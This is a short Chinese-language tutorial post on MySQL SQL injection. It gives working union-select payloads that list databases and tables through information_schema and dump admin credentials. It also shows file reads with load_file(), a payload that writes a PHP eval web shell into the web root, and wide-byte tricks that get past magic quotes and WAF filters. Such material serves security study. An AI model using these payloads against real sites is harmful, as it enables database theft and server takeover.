十三:SQL注入之MYSQL注入
阿新 • • 發佈:2021-01-14
MYSQL注入中首先要明確當前注入點許可權,高許可權注入時有更多的攻擊手法,有的能直接進行getshell操作,其中也會遇到很多的阻礙,相關防禦手法也要明確,所謂知己知彼,百戰不殆。作為安全開發工作者,攻防兼備。
注入點許可權是否為root,取決於連線資料庫的檔案。這也決定了高許可權注入及低許可權注入
跨庫查詢及應用思路
information_schema 表特性,記錄庫名,表名,列名對應表 獲取所有資料庫名 ?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 查表,找與網站對應的資料庫名,若沒有,則挨個查。或者使用 union select 1,2,database() ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'qqyw' 跨庫查列,,, ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'admin' and table_schema='qqyw' 查結果。。。 ?id=-1 union select 1,u,p from qqyw.admin
檔案讀寫操作
load_file():讀取檔案函式 into outfile或者into dumpfile:匯出函式 路徑獲取常見方法: 報錯顯示 (phpinfo.php) ,遺留檔案 ,漏洞報錯,平臺配置檔案 常見讀取檔案列表:(需得知網站絕對路徑) union select 1,load_file('D:\\phpmyadmin\\dudu.txt'),3 常見寫入檔案問題:魔術引號開關 union select 1,'<?php $eval($_POST['dudu']);?>',3 into outfile 'D:\\www\\dudu.php'
魔術引號及常見保護
php.ini中存在magic_quotes_gpc選項,稱為魔術引號,此選項開啟,使用GET,POST,cookie所接收的'單引號,"雙引號,\反斜線和NULL字元全部被加上一個反斜線轉義。此時,注入型別是字元型注入已經無法構成威脅。 編碼或者寬位元組進行繞過 isset無法繞過 替換關鍵字 在資料庫使用了寬字符集而WEB中沒考慮這個問題的情況下,在WEB層,由於0XBF27是兩個字元,在PHP中比如addslash和magic_quotes_gpc開啟時,由於會對0x27單引號進行轉義,因此0xbf27會變成0xbf5c27,而資料進入資料庫中時,由於0XBF5C是一個另外的字元,因此\轉義符號會被前面的bf帶著"吃掉",單引號由此逃逸出來可以用來閉合語句。 自定義關鍵字替換 WAF對常見攻擊語句進行報錯,繞過思路
低版本注入配合讀取或者暴力
5.0版本以下,跑字典。。
字典或讀取